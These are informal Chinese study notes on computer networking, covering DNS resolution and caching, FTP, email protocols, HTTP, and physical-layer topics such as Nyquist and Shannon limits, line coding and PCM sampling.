9.发起请求的主机最终得到了y.abc.com的IP地址,并在本机的高速缓存中记录该查询

高速缓存的作用?

如果主机刚才已经查询过y.abc.com的IP地址并且存储于高速缓存中,那么==不久后==的再次查询就可以直接从高速缓存中取记录,而不用再递归一大圈去找这个IP地址

为什么每一级服务器都需要高速缓存?

类似于记忆化搜索,本地域名服务器不一定只服务于一台主机,如果主机A,B都由本地域名服务器S提供服务,假设A解析了主机C,S会将C的IP地址存在高速缓存中,那么当B也需要查询C时本地域名服务器只需要返回刚才的记录

缺点:

不考虑高速缓存的作用,每一次跨本地域名服务器的DNS查询都需要根域名服务器的介入,而世界上只有13台根服务器,但是却要面对上亿的主机和查询,根服务器将会不堪重负

改进方法:递归+迭代

递归与迭代相结合的解析过程解析y.abc.com的IP地址

本地主机还是以解析y.abc.com的IP地址为例子,假设路径上服务器的高速缓存都没有存储该查询记录

1.本机向本地域名服务器发起DNS查询报文

2.本地域名服务器发现该DNS不在局域网内,需要向外网寻找,于是直接向根域名服务器发出请求

3.根服务器返回.com顶级服务器的IP地址

4.本地域名服务器收到.com的IP地址后向该.com顶级域名服务器发送请求

5..com顶级域名服务器返回.abc.com授权域名服务器地址

6.本地域名服务器收到.abc.com的IP地址后向该授权域名服务器发送请求

7..abc.com授权域名服务器返回y.abc.com的IP地址

8.本地域名服务器已经获得了y.abc.com的IP地址"我滴任务完成辣!啊哈哈哈哈",然后将该IP地址返回给发起请求的本机

相对于递归方式,递归+迭代的方式中,根服务器,顶级域名服务器等被询问的服务器都没法在高速缓存上记录这次查询,因为他们都是的==指路人==而不是==带路人==的作用.

文本传输协议FTP

File Transfer Protocol,因特网上使用最广泛的文件传输协议

功能:

1.兼容:不同种类(包括硬件软件)主机系统之间传输文件

2.权限:以用户权限管理的方式提供用户对远程FTP服务器上的文件管理能力

3.匿名共享:匿名FTP方式提供公用文件共享的negligence

FTP工作原理

采用C/S工作方式,使用TCP可靠的传输服务.

一个FTP服务器进程可以同时为多个客户进程提供服务(分时系统?)

FTP服务器进程分两大部分:

主进程:接受新的请求,处于一直监听的状态,只要有新的进程就立刻开一个从属进程来啊处理该请求

从属进程:处理单个请求

以主机A下载ftp://ftp.abc.edu.cn/file为例子描述工作过程

1.服务端开放21号端口,并监听这个端口,等待客户连接.

2.客户端开放随意端口连接到服务端的21号端口,建立控制连接

3.客户端通过控制连接发送下载文件的请求

控制信息时7位ASCII码格式

控制连接只用来控制,不用来传输

数据连接和控制连接并行,即使是传输过程中也可以通过控制连接发送停止请求中止数据传输

4.服务端接收到文件传输请求后,创建"数据传输进程"和"数据连接",在20号端口与客户端的任意端口(区别于客户端刚才开放的控制连接端口)建立数据连接并且传输客户端请求的文件

5.当客户端的一次数据传输请求被满足时,服务端立刻关闭20端口,断开数据连接.控制连接继续接收用户的传输请求

FTP服务特点:

1.提供不同种类的主机系统之间的文件传输能力

2.以用户权限管理的方式提供用户对远程FTP服务器上的文件的管理能力

3.以匿名FTP方式提供公用文件共享的能力.匿名用户只能从FTP服务器拷贝文件,不能上传或者修改文件,即只读模式

4.使用TCP协议.

5.一个FTP服务器进程可以同时为多个客户进程提供服务

6.带外传送,使用两种连接,控制连接和数据连接.分别占用21和20端口,其中数据连接传送完毕之后立刻断开,控制连接一直持续

7.服务器必须追踪用户在远程目录树上的当前位置

电子邮件

组成结构

异步通信方式,通信时双方都不需要在场

发送和接收实际是由邮件服务器完成的

用户的工作是通过用户代理命令邮件服务器完成工作

用户代理:

User Agent

"用户与电子邮件系统的接口"

说人话就是电子邮箱,比如qq邮箱.

用户发送邮件时在网络上的形象

人类在工作时的形象是工人,人类在教书时的形象是老师,人类在发送邮件时的形象是邮箱

显然这个用户代理能够实现人类希望的,最起码的写信,显示,处理信的功能

邮件服务器

电子邮件系统中的工具人儿,是用户代理的奴仆

作用是:

1.收发邮件

2.向用户代理报告邮件传送情况

采用C/S方式工作

一个邮件服务器本身是双料高级特工,在它==发送邮件时他是客户端C,==在它==接收邮件的时候,它是服务端S==

用实际生活中收发邮件做一个类比

实际生活中接收邮件是比较类似于网上这一套的,每天早上我们起床之后出门检查一下私人邮箱里面是否有东西,从家里走出来到邮箱取邮件这一段是我们亲历亲为的,没法生动地解释用户代理这个概念

并且对于发送邮件,实际生活中我们需要跑好远到邮局或者偶遇邮递员送信,但是网络上我们却用的与收信相同的邮箱.这是天壤之别.

为了方便理解这件事,我们虚构一个"现实":

1.我家有矿,收发邮件这种琐事怎么可能由我自己跑腿?雇一个管家专门代替我从屋门到邮箱这两三步的距离.

并且我不识字儿,写信也是我口述,管家代笔,我说错了要改,管家也不会烦,无条件服从我的命令.

收信我也不自己看,管家念给我听.

附近邻居家的情况与我相同

这个管家就比较类似与用户代理了

2.邮箱是==公共的==,并且这个邮箱好大,为每个用户都留了存放信件的地方,周围的邻居收发信件都通过这个邮箱,

每个邮箱都是邮局的功能,我发邮件不需要到邮局发,我只需要让管家写好信放在邮箱里.

每隔一段时间邮箱就会自己检查有没有待发送的邮件,

如果有,则召唤邮递员,让邮递员先不送信,屁颠屁颠地跑到目的地看看沿路能不能通,对方的邮箱能不能接收邮件

邮递员逛一圈回来报告都没有问题,邮箱就让邮递员正式送信

邮递员不管送信成功失败都会回来报告给邮箱,并且说明原因

3.邮箱有关于我的消息,比如新的邮件到达或者我发送的邮件成功或者失败等,==不会提醒我==.

只有当我想要了解邮箱有关我的状态时才会吩咐==管家==去邮箱看看==我的那一部分==,回来把消息说给我

这个邮箱就比较类似于邮件服务器了

记发送端邮件服务器为"客户端"

记接收端邮件服务器为"服务端"

==这两句很重要==

邮件发送协议SMTP

Simple Mail Transfer Protocol简单邮件传输协议

使用C/S方式,发送方为客户端,接收方为服务端.

使用TCP连接,接收方服务器开放端口号25

浏览器与基于万维网的邮件服务器(Gmail等)之间的邮件发送使用的是HTTP,相同的邮件服务器之间也是HTTP

只有不同邮件服务器之间传送邮件的时候才使用SMTP协议

多用途国际邮件扩充(MIME)

SMTP只能传送ASCII码,无法实现"添加附件"的功能,于是就有了MIME(Multipurpose Internet Mail Extensions)

MIME是基于SMTP的,本质上是将用户要发送的"附件"转化为7位ASCII码然后套用SMTP协议,接收方再将ASCII码翻译过来

MIME主要包括:

"推"

推的意思是发送方主动,接收方被动

用户代理向==客户端==发送邮件采用的是SMTP协议

客户端向服务端发送邮件采用的也是SMTP协议

邮件读取协议POP3

post office protocol邮局协议,邮件读取协议

3是指第三个版本

使用C/S方式,使用TCP连接,端口号110

拉的意思是发送方被动,接收方主动

"拉"

邮件发送过程:

1.用户通过用户代理写好信之后使用SMTP协议将邮件发送给==发送端邮件服务器==(后面称为==客户端==),客户端将该邮件放入自己的邮件缓存队列中等待发送

2.客户端定时检查邮件缓存队列,如果有邮件待发送,则向==接收端邮件服务器==(后面称==服务端==)发送TCP连接请求

3.TCP连接建立后SMTP客户端向SMTP服务端发送邮件,当SMTP客户端邮件缓存队列清空时,SMTP关闭TCP连接

4.服务端接收到邮件之后将邮件放入用户信箱

5.收信用户打算收信时,让用户代理去邮件服务器的用户信箱拉取邮件

电子邮件格式

\[ 电子邮件 \begin{cases} 信封\\ 内容 \begin{cases} 首部\\ 主体 \end{cases} \end{cases} \]

信封完全不用用户操心,信封是从信的内容首部提取信息填写的

内容首部

首部由首部行组成

首部行的格式是:键:值

发件人地址From,收件人地址To等是必须内容

主题Subject等是非必须内容

其中收件人地址,主题这种信息由用户手动填写,发件人地址和发件时间自动填写

From和To都是用户地址

hoopdog@hust.edu.cn

即 hoopdog at hust.edu.cn

即 位于hust.edu.cn的hoopdog

其中@后面的是邮件服务器地址,@前面的是用户名

需要确保的是,同一个邮件服务器管理的用户名不能有重名(这容易理解,班上有俩个张三的时候课代表也不知道把张三的作业本给哪个张三)

由此可见balabala@qq.com这个地址就是qq.com邮件服务器管理的balabala用户

==qq.com是邮件服务器==

万维网

万维网是无数网络站点和页面的集合,是因特网最主要的部分

因特网还包括电子邮件等

万维网的组成

world wide web:资料空间

万维网中有用的事物称为"资源" \[ 万维网内核 \begin{cases} 同一资源定位符(URL)\\ 超文本传输协议(HTTP)\\ 超文本标记语言(HTML) \end{cases} \] 万维网以C/S的方式工作,浏览器是万维网的客户端.万维网上资源文档所在的计算机时服务端

两者通信的流程:

1.万维网用户希望使用浏览器访问某个URL,与该URL所在的服务器建立连接,发送浏览请求

2.服务器把URL转换为文件路径,返回信息给客户端

3.通信完毕,关闭连接

统一资源定位符(URL)

负责标识万维网上的各种文档,使每个文档有唯一的标识符(链接地址)

一般形式:

1
<协议>://<主机>:<端口>/<路径>

其中端口和路径可以略去不写,整个URL不区分大小写

比如:

1
https://www.baidu.com/

https是协议

www.baidu.com是主机的DNS地址,实际上映射到220.181.38.251

常见的协议有http,ftp,https等

超文本传输协议HTTP

协议规定了

1.浏览器怎样想万维网服务器请求资源

2.服务器怎样把文档传给浏览器

即规定了怎么去和怎么回来

HTTP操作过程

1.客户端(浏览器)对要访问的www服务器请求DNS域名解析,获得该服务器IP地址

2.客户端通过TCP向服务器发起建立连接的请求,这是第一次握手

3.服务器在TCP的80端口监听到客户端发出的请求,与客户端建立连接,这是第二次握手

4.在客户端与服务器的第三次握手时客户端发送获取==服务器拥有的某个文件==的请求报文

5.服务器返回==该文件web页面的必须信息==(注意此时还没有完全返回该页面,只是返回了基本的框架,很多元素比如jpeg图片等需要后续继续请求才能发送)

6.客户端浏览器收到资源并解释,及时显示给用户

7.客户端一直发送请求直到页面加载完成,此时TCP连接断开

客户端向服务端发出的是请求,服务端向客户端发出的是响应

没有请求就没有响应,请求时客户端主动发出的,服务端不会多管闲事

请求和响应必须遵循规定的规则和格式,即HTTP

HTTP特点

1.本身无状态

服务器不会记录客户信息,任何客户不管第几次访问同一个页面时显示的内容都是相同的.这样设计的目的是减轻服务器的压力,使其支持大量并发的HTTP请求

Cookie+数据库获取用户历史浏览信息

后来引入Cookie技术之后,服务器只需要记录客户端的身份信息,客户自己的喜好,密码等等信息都存储在客户机器上,当客户端第一次访问某个服务器时,服务器在数据库中记录该客户端的身份信息.客户端自己记录自己的个人喜好和隐私信息.

当客户端下一次访问这个服务器时,服务器就能从数据库记录中知道这个客户曾经来过,然后可以根据客户cookie获得客户喜好了

这时状态是来自cookie的辅助,与http本身无状态不矛盾

2.传输层协议使用TCP

3.既可以使用非持久连接,也可以使用持久连接

非持久连接:对于客户端的每一个请求,服务器返回响应后立刻断开TCP连接

持久连接:服务器对于客户端的请求返回响应之后并不立刻断开TCP连接,而是等待下一次请求,直到客户端发出停止连接的要求或者连接失败

持久连接的两种方式:

流水线方式:请求是串行的,客户端发出A请求,必须收到服务端的响应之后才可以发出下一个B请求

非流水线方式:请求是并行的,客户端一股脑发出多个请求,剩下的任务就是接收服务端的多个响应

HTTP报文结构

HTTP面向文本,报文由ASCII码字符串组成

报文由两类:请求报文和响应报文

两种报文都是由三部分组成:

开始行,首部行,实体主题

区别在于开始行不同

请求报文的开始行是请求行

响应报文的开始行是状态行

请求报文

请求行=请求用到的方法+space+请求资源的URL+space+HTTP版本号+回车换行

请求方法作用于请求对象

请求常用方法:

响应报文

计算机网络-物理层

物理层

比特率:一秒内发送的位数,bps,b/s

比特长度=传播速度*传播时间,即一个比特在传输介质上的距离

复合信号:简单正弦信号的叠加信号

带宽:符合信号的组成成分中,最高频率与最低频率的差

模拟信号:用连续变化的物理量表示信息

数字信号:用离散的物理量表示信息

模拟信号和数字信号的关系

实际上数字信号是带宽无穷大的复合的模拟信号

image-20230205092343687
拟合方波的过程

至于为啥非周期性的数字信号,其频率是连续的,而周期性的数字信号,其频率是离散的呢?

也就是说,为什么周期性的数字信号做傅里叶变换之后,在频域得到的是频率离散的正弦波呢?

首先证明,离散的正弦波叠加一定能够得到周期性复合波形

直接取这些正弦波周期的最小公倍数,一定是该复合波形的周期

对于\(f(x)=Asin(\omega x+\phi)\)设T为其周期,则有\(f(x+T)=f(x)\)

不妨设这些正弦波的最小公倍数为nT

那么 \[ f(x+nT)=f((x+(n-1)T)+T)=f(x+(n-1)T)=...=f(x) \] 对于\(F(x)=\sum_{i=0}^n A_isin(\omega_ix+\phi_i)=\sum_{i=0}^n f(x)\)

自然有\(F(x+nT)=F(x)\)

然后证明,连续频率的正弦波叠加,无法形成周期性信号

假设\(f(x)=Asin(\omega x+\phi)\),其中\(\omega\)\([a,b]\)上连续

\[ F(x)=\int_{a}^bA(\omega) sin(\omega x+\phi(\omega)) d\omega \] 即证明\(F(x)\)不是周期函数

假设\(F(x)\)是周期函数,设T为其一个周期,则有F(0)=F(T),那么就得有 \[ \int_{a}^bA(\omega) sin(\phi(\omega)) d\omega=\int_{a}^bA(\omega) sin(\omega T+\phi(\omega)) d\omega \]

\[ \int_{a}^b A(\omega)[sin(\phi(\omega)) - sin(\omega T+\phi(\omega))] d\omega=0 \] 其中 \[ sin(\phi(\omega)) - sin(\omega T+\phi(\omega))=2cos\frac{2\phi(\omega)+wT}{2}sin\frac{-\omega T}{2} \] 然而这个式子无法证明成立,倒是可以举反例证明不成立,比如令A=1,\(\phi=0\)

\(-\int_{a}^b sin\omega \ d\omega=0\)显然不正确,因为a,b可能不够一个周期

为什么说数字信号是带宽无穷大的复合模拟信号?

先说为啥数字信号是一个模拟信号

根据傅里叶变换,非周期数字信号是连续频率的正弦波的叠加

周期数字信号是离散频率的正弦波的叠加

这个频率的上下界是多少?下界是0,上界是无穷大,为啥是无穷大?

拟合方波的过程

N越大,也就是谐波越多,波形越接近方波,拐弯的时候越接近直角

当N趋向无穷大时,才可以认为波形是方波

振幅体现成什么?

在频域图上观察更加明显

6. 傅里叶变换与图像的频域处理 - 知乎

振幅越大的分量,代表这个分量信号在复合信号中的影响更大.

可以这样理解:

三个人一起说话,我们从远处只能听见说话声音大的那个一,几乎听不到其他人说话,但是实际上我们听到的是三人声音的复合信号,只不过另外两个人的劲太小,发出的信号振幅小,能量小,我们听不清

传输方式

基带传输

直接传输数字信号,要求该信号的最低频率成分,其频率是0.

理想情况下,传递1101110这么一串信息,可能就是高高低高高高低电平的变换.

但是实际上由于基带传输需要无穷大的带宽,而实际的信道带宽有限

这就意味着,要噶掉一些频率过高或者过低的谐波.

image-20230205101233925

这就会造成波形失真

为什么噶掉一些谐波就会造成波形失真?

拟合方波的过程

还是这个图,如果只保留N=1,也就是噶掉了其他所有频率的分量,那么图像就是只一个正弦波,根本看不出方波了

如果被噶掉的部分,有些频率的分量,其振幅很大,也就是在符合信号中的话语权比较重,那么被噶掉之后,波形失真就会很厉害

这就好比一场音乐会,去掉一些和声,普通人可能也察觉不出来

但是去掉劲最大的主唱,傻子也能听出来,怎么开始放伴奏了?

但是只要能够保持波形的大概就可以了,接收方会复原信号

因此使用有限频率的分量就可以了

image-20230205101834194

一个例题说明这个事情

image-20230205102120566

也就是说,更高的带宽是为了容纳更多谐波,使得波形更接近方波,使得分辨更清晰

比特率和带宽的关系:正比

比特率是单位时间内发送的位数

为啥说单位时间内发送的位越多,要求的带宽就越大呢?

下图可以从直观上说明这个事情

image-20230205102250459

相同时间(1s)内,有四种电平的方波,可以发送16个比特位,比特率就是16bps

而只有两种电平的方波,只能发送8位,比特率就是8bps

也就是,要证明电平种类数越多,需要的带宽就越大

直观上,要拟合一个只有两种电平的数字信号,需要的谐波要少点.

也就是说这个方波越复杂,拟合时需要的谐波就要更多

但是怎么证明我不会

宽带传输

image-20230205102704785

宽带传输允许的频率不是从0开始的,是从某一个正数f1开始的

"这就导致不能直接发送数字信号"为啥呢?

推测其原因是

1,是数字信号的主要分量(主要也就是振幅比较大,权重比较大的那些分量),其频率较低,在f1之下,会被噶掉,造成严重的失真

2,就算被噶掉的无关紧要,但是考虑衰减问题

可能发出时的信号很强,01分明,但是百前公里之后信号就会衰减,届时可能辱下图所示

image-20230205104236117

原来的高电位也变得低趴,被接收方识别为0

但是可以采取中继措施啊(比如红石中继器),上述推测2也不是问题啊

然而实际上也没有对数字信号采取中继,数字信号被应用于芯片比如CPU,计算机主板这种东西上,或者以太网这种局域网(曼切斯特编码等等)

那么为啥远距离传输一定要模拟信号呢

知乎的解答:

"以电话线为例子,电话线主要用来传语音(300到3400赫兹),不适合直接传输频带很宽能量比较集中在低频段的数字基带信号,所以这里需要一个modem做频带调制解调."

也就是推测1

那么为啥不能让电话线的最低频率再低一点,低到0?或者说,一根电线,其允许传播的电信号频率范围是多少?这个可以人为改变吗?

也就是说,计算机只会收发数字信号,两个modem之间才会使用模拟信号

1
2
3
4
5
6
7
8
9
10
flowchart LR
C1((C1))
C2((C2))
subgraph 远距离通信
Modem1(Modem1)
Modem2(Modem2)
end
C1--"数字信号"---Modem1
Modem1--"模拟信号"---Modem2
Modem2--"数字信号"---C2

在两个计算机看来,他俩是直接数字信号通信的,他俩不知道中间有个猫干了啥

1
2
3
4
flowchart LR
C1((C1))
C2((C2))
C1--数字信号----C2
传输减损

三种类型的减损:衰减,失真,噪声

衰减

衰减:远距离传输信息肯定有衰减,就比如在泰安说句话在西安听不见,可能十步之外就听不见了,这就是衰减

衰减的原因是介质震动将能量传递给其他物质了,比如空气

衰减只会让能量减弱,不会改变信号的频率相位,而能量直接提现到振幅上,因此画在图上,衰减就是信号变得低趴

image-20230205214605628

使用分贝作为单位衡量衰减程度 \[ dB=10\lg{\frac{P_2}{P_1}} \] 其中P1是衰减前的功率,P2是衰减之后的功率

假设功率衰减为之前的一半,\(10\lg\frac{1}{2}\approx-3dB\)

失真

失真就是信号波形发生了变化,相位,频率都可能变化

image-20230205215029546

发生失真可能是电子元件本身导致,比如三极管就有失真区

噪声

噪声就是杂音,就比如上课时老师讲话是有效信息,学生嘀咕就是噪音

噪音能量大了,就会淹没有效信息,如下图所示

image-20230205215750791

信号中的噪音可能来自

热噪音:导体中电子热震动造成

串扰:两条信号线之间的耦合、信号线之间的互感和互容引起线上的噪声。

脉冲噪声:磁暴就可以导致

噪声程度用信噪比衡量 \[ 信噪比SNR=\frac{平均信号功率P_{信号}}{平均噪声功率P_{噪声}} \] 单位是分贝

无噪声信道数据速率

数据速率(比特率):一秒内传送的比特数

三个影响因素:有效带宽,使用的信号电平数,通道质量

理论最大比特率(无噪声信道): \[ 理论上的最大比特率 = 2 × 带宽 × log_2 L, L是电平数 \] 如果只有两个电平,只能一个电平表示一位,

有四个电平,则每个电平可以编码两位

依此类推

但是,为啥带宽和比特率会发生关系呢?

参考深入理解奈奎斯特第一准则与码间串扰

奈奎斯特第一准则直观理解

考虑这么一个问题

同样一秒时间内,我让电平变化越快,岂不是传递的信息越多吗?

image-20230205220410948

那么我让一个bit位持续时间只有1皮秒,那么1秒内直接传输1e9 个bit,岂不美哉?

这就是带宽的限制的作用了

单位时间内电位变化越快,说明信号的频率越大,显然信号的最大频率不能超过信道的频率上限.比这个上限再高的分量会被直接噶掉

最大比特率也就是说,在一秒内能够传递$ 2 × 带宽 × log_2 L$这么多bit,为啥不能比这再高了呢?为啥会和带宽挂钩,而不是和最高频率挂钩?

因为当比特率大于这个值时,会发生码间串扰

啥是码间串扰呢?

image-20230205222514271

怎么发生的码间串扰?我有一个直观的理解了

发生器在产生一个码元之后,应立刻变换模式生成下一个模式,这里不应该存在码间串扰

为什么说前一个码元在后续时刻有残留呢?这个残留是怎么来的呢?

百度百科是这样解答的:

直方脉冲的波形在时域内比较尖锐,因而在频域内占用的带宽是无限的。

直观上,拟合一个尖锐变化的信号,需要无限多高频的分量

如果让这个脉冲经过一个低通滤波器,即让它的频率变窄,那么它在时域内就一定会变宽。

这是关键

首先,为啥信号频率变窄,时域就得展宽?

这是傅里叶变换的展缩特性展缩特性的推导

我没学过傅里叶变换的细节,找到一个直观的理解

因为脉冲信号是由不同频率的正弦波组合而成,通过低通滤波器,只剩下些低频正弦波,所以波形看起来更接近正弦波,像被展宽了一样。

也就是说,频率上噶掉高频和低频之后,再进行傅里叶逆变换,时域图像会变,变宽

此前是一个码元完毕立刻跟着下一个码元,现在每个码元都宽了,把脚伸到下一个码元怀里了,也就是"拖尾"

因为脉冲是一个序列,这样相邻的脉冲间就会相互干扰。这种现象被称为码间串扰(InterSymbol Interference,ISI)。

最后一个问题,为啥比特率超过这个最大值$ 2 × 带宽 × log_2 L$就会造成码间串扰?

实际上这个\(log_2L\)就是波特率,也就是码元率,也就是单位时间内传送的码元个数

这实际上是奈奎斯特第一准则

深入理解奈奎斯特第一准则与码间串扰

这篇博客完美解答了

写太好了写太好了写太好了

博主用一个实验证明了不遵守奈一准则的后果,实验是这样设计的:

首先,要发射方波,但是理想的方波的频率无限大,显然真实的信道做不到

于是用sinc脉冲函数作为近似拟合,该函数的带宽是2B,也就是说,该信号包括了2B带宽范围内的各种强度的连续频率的简谐信号分量,也就模拟了无噪声信道

img

用这个最高的尖作为方波

要发送比特序列00010110,用正高电位表示0,负高电位表示0

对应电位处放上函数的尖儿

img

实际上发出的信号是这几个sinc函数的叠加

img

接收方收到后进行采样,决定某个时刻是哪一个码元

img

采样结果

img

和发送时一模一样

好,下面要缩短码元的时间,也就是相同时间内企图发送更多的码元

之前是1秒内两个bit,现在是1秒内4个比特

img

叠加之后

img

接收方采样

img

已经无法在整1和-1处采到信息了

如果以大于0的作为1,小于0的作为0

接收方得到的序列就是111101001,失真了

有噪声信道数据速率

定义通道容量:单位时间内通道传输的比特数

香农定理

\[ 通道容量C=带宽B\times \log_2(1+SNR)\\ \]

其中\(SNR=\frac{P_{信号}}{P_{噪声}}\)

如果SNR很大,可以认为\(SNR\sim SNR+1\),则有 \[ C=B\times \log_2 SNR=B\times \frac{SNR_{dB}}{3} \] 香农定理规定了真实信道的最大传输速率

物理层 : 香农定理

然而香农定律中没有涉及电平数量,实际中也正好利用这一点,结合奈奎斯特准则计算信号电平数

有一个 1MHz带宽的通道。通道的信噪比是 63,合适的比特率以及信号电平是多少?

根据香农定律,理论上最高的通道容量为 \[ C=B\times \log_2(1+SNR)=1M\times \log_2(64)=6Mbits/s \] 实际上的比特速率肯定比这要小,为了获取更好的性能,可以使用\(N=4Mbits/s\)为合适的比特率

根据奈奎斯特第一准则 \[ N=2B\log_2L \] 得到\(L=2\)

这里的"性能"指什么呢?

性能

吞吐量

单位时间内成功传送的数据量.

单位:bit/s,bps,同带宽相同

吞吐量和带宽的区别:

带宽只需要考虑信道的速率,不管两头的计算机,发射装置

而吞吐量需要考虑所有因素,包括计算机的速度,调制速度,带宽等

可以理解为,带宽用来衡量一段高速公路满载时的流量

但是吞吐量需要考虑高速公路两头的收费站减速

因此吞吐量一定是小于等于带宽的

延迟

延迟 = 传播延迟 + 传输时间 + 排队时间 + 处理延迟

传输时间就是发送方计算机将信息从本机发到信道上的时间

取决于发送方CPU速度,总线,网络适配器等硬件的速度 \[ 传输时间=\frac{报文长度}{传输速度} \]

传播延迟就是信号从信道中传递的时间

传播延迟取决于信号在信道中的传播速度,比如电信号在导线中的速度就是光速\(3\times 10^8\) \[ 传播延迟=\frac{距离}{传播速度} \]

排队时间就是该信号在接收方消息队列中等待被处理的时间

该时间取决于前面有多少个排队等待处理的消息以及这些消息的处理时间

处理延迟就是接收方执行本信号处理程序花费的时间

取决于接收方硬件速度,以及处理算法复杂度

带宽延迟积

定义了能够充满链路的位数

啥意思呢?

假如接收方在大洋彼岸,发送方传输一个bit,需要50ms才能抵达

而这50ms之内,发送方已经传输了成千上万个bit.

发送方一直传输,直到第一个bit到达接收方时,此时整个信道排满了bit

此时信道中的bit数量就是带宽延迟积

这一路上有多少辆车呢? \[ 带宽延迟积=延迟\times 比特率 \]

image-20230206153701581

图中的带宽实际上描述的是数据速率,单位是bit/s

数字传输

线路编码

基本概念

将数字数据转换为数字信号的过程

数据元素:信息的最小单元,一个位bit

信号元素(码元):数字信号的最小单元,是数据元素的载体

比率r:每个信号元素承载的bit数量

把人比作数据元素,一个人相当于1bit

把车比作信号元素,一辆车是一个数据元素

比率为2,意思是一个信号元素承载两个bit,也就是一辆车可以坐俩人

image-20230206163519913

波形的每一个方格是一个信号元素,这个元素能够承载啥数据元素,承载几个,这是人为规定的

数据速率(比特率):一秒内发送的bit数

信号速率(波特率):一秒内发送的码元个数

两者关系: \[ S=c\times N\times \frac{1}{r},\\ \]

1
2
3
4
S,信号速率
N,数据速率
c,情形因子,通常取值1/2
r,比率

理想的数字信号,其带宽应该是无限大的,但是实际上信道的带宽有限,于是就有了奈奎斯特第一准则,对带宽的限制 \[ 理论上的最比特率 = 2 × 带宽× log_2 L, L是电平数 \] 也就是 \[ B_{min}=\frac{N_{max}}{2\times \log_2L}=\frac{cN}{r}=S \]

这里数据元素和信号元素的关系体现在电平数量上\(r=\log_2 L\)

线路编码需要解决的问题

基线偏移

接收方需要观察信号一段时间,才能计算出信号的平均功率,然后根据信号的瞬时功率决定当前信号是高电位还是低电位

假如使用高电位编码1,低电位编码0

然后发送方故意找茬发了一亿个1,接收方认为平均功率就是10V电压对应的功率.如果后来的1,其电位稍微低了点,成了8V,接收方就会把它解码为0

尽量避免基线偏移就得选择正负电位出现几率相同的编码方式

直流分量

一个信号可能会有变化很剧烈的地方,也可能会有变化比较缓慢的地方

比如如果发送方连续发送一亿个1,那么信号就可能是持续1秒的高电位,几乎成为了直流电

直流电无法通过电容这种器件.会被过滤掉

尽量避免直流分量,就得选择变化剧烈的编码方式

自同步

就是"对表",接收方得和发送方时钟差不多一致

否则可能出现下图情况

image-20230206165153188

差错检测

抗噪声,抗干扰

实现的复杂性

线性编码方案

性质 编码方案 图像 特点 带宽和数据速率
单极性 不归零(NRZ) image-20230206165544099 1高0低 \(B=\frac{N}{2}\)
极性 不归零(NRZ) image-20230206165603612 NRZ-L:0正1负
NRZ-I:遇1则拐
\(B=\frac{N}{2}\)
极性 归零码(Polar RZ) image-20230206165727587 0先负后0
1先正后0
\(B=\frac{N}{2}\)
极性 双向码
曼彻斯特编码
差分曼彻斯特编码
image-20230206165747839 曼彻斯特:0先负后正,1先正后负
差分曼彻斯特:1先保持,0立刻转
\(B=\frac{N}{2}\)
双极性 交替传号反码(AMI)
伪三元编码(Pseudoternary)
image-20230206165817455 AMI:1正负交替,0就是0
Pseudotemary:0正负交替,1为0
\(B=N\)
多电平mBnL
m个数据元素编码成n个信号元素
也就是n个码元承载m个bit
2B1Q(L=4=Q) 2B1Q:
2B1Q
8B6T:
8B6T
多个电位,可以用连续的几个电位编码连续的几个bit
比如2B1Q意思是,每两个bit为一个组,有4种电位,一组使用一个信号单元(码元),也就是\(r=2\)
比如8B6T意思是,每8个bit为一组,有3种电位,一个组使用连续的6个信号单元(码元),也就是\(r=8/6=4/3\)
2B1Q:\(B=\frac{N}{2}\)
8B6T:\(B=\frac{3N}{4}\)
多电平并发 4D-PAM5
四线路并发的8B1Q
image-20230206173348090 00对应-2电位
01对应1电位
11对应2电位
10对应-1电位
从四根铜线上并发传送
如果只有一根线,则相当于8B1Q
\(B=\frac{N}{8}\)
多线路 MLT-3
三电平多线路传输
image-20230206173729253 跳变方式多于两种,之前的极性非极性编码都只有两种跳变方式.而MLT-3中的跳变多余两种

跳变规则:
如果下一位是0,没有跳变
如果下一位是1且当前电平是0,下一个电平是最后一个非零电平的相反值
如果下一位是1且当前电平不是0,下一个电平是0
\(B=\frac{N}{3}\)

块编码

块编码,mB/nB编码,将m个bit加上额外的位组成nbit(n>m)

其目的是加上冗余信息,确保同步,并获得差错控制能力

或者说有一定的加密能力

image-20230206174741944

计算机发出的和接收到的仍然是裸数据,mB/nB编码和解码器屏蔽了这个添加/去掉冗余的过程

具体如何编码呢?以4B/5B为例

麻了,没看出编码算法来

冗余组:使用了5位,实际上只有4位满编,也就是说,有\(2^4\)个编码是有实际意义的

剩下的\(2^5-2^4=16\)个编码就是冗余组,可以另外定义意义

扰码

扰码用于解决什么问题?

先说之前的编码方式的缺点

双相码适用于LAN中间站的专用链路,不适用于长距离通信;

块编码和NRZ编码的组合有DC分量,也不适合于长距离通信;

双极性AMI带宽窄且没有DC分量,但连续0的长序列会失去同步。B8ZS和HDB3

扰码就是为了解决这些问题

咋解决呢?避免出现连续多个相同的电位

扰码编码方式 图像 特点
B8ZS image-20230206185948688 连续的八个0会被替换为000VB0VB
HDB3 image-20230206190003629 4个连续0电平被置换成000V或B00V;
两个不同的置换是由于为了维持每次置换后非零脉冲为偶数;
如果最后一次置换后的非零脉冲数是奇数,置换为000V,使得非零脉冲总数为偶数;
如果最后一次置换后的非零脉冲数是偶数,置换为B00V,使得非零脉冲总数为偶数。

模拟信号调成数字信号

两种方式:PCM或者Delta

PCM

模拟信号调制成数字信号

没看错,就是模拟信号调制成数字信号,不是解调

这就奇怪了,远距离传送信号的时候都是在发送端先把数字信号调制成模拟信号,然后接收端模拟信号再解调成数字信号.但是PCM里是故意把模拟信号调制成数字信号的

实际应用?比如要研究星球脉冲的规律.由于这个星球每时每刻都在发射信号,在时域上是连续无限的.计算机首先需要存储了数据然后才能分析.

怎么存储就是问题了,如果保留半小时内的观测数据,也是有无穷多的时间点的.

可以选择每1分钟记录一次,或者每一秒,每一毫秒记录一次.

这样就把一个连续的模拟信号采样成离散的数字信号了

这个过程如图所示

image-20230206191918320
采样

采样率:单位时间内采取的离散信号的个数,单位,Hz

根据奈奎斯特定律,采样率必须是信号最高频率的两倍

为啥呢?下图意思意思

image-20230206192614340
量化

采样之后,离散的信号振幅也是一个不规整的值,现在规定几个固定的"合法振幅",让这些离散信号振幅舍入到最近的"合法振幅"

image-20230206194038088

怎么选取"合法振幅"呢?

假设要分成L=10个区间(\(-5\Delta,-4\Delta,-3\Delta,....,0,\Delta,2\Delta,5\Delta\)),

设离散信号振幅值的最大和最小值分别为\(V_{max},V_{min}\)

那么一个delta的高度就是 \[ \Delta =\frac{V_{max}-V_{min}}{L} \] 然后原来的各点就近似为各自最近的"合法振幅"

image-20230206194500351
量化误差

